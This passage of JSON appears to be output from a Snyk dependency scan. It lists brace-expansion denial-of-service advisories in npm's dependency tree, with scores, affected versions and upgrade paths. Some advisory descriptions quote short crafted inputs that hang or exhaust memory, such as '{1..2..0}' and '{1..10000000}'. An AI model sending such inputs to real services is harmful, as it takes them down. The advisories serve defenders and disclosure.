"2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", 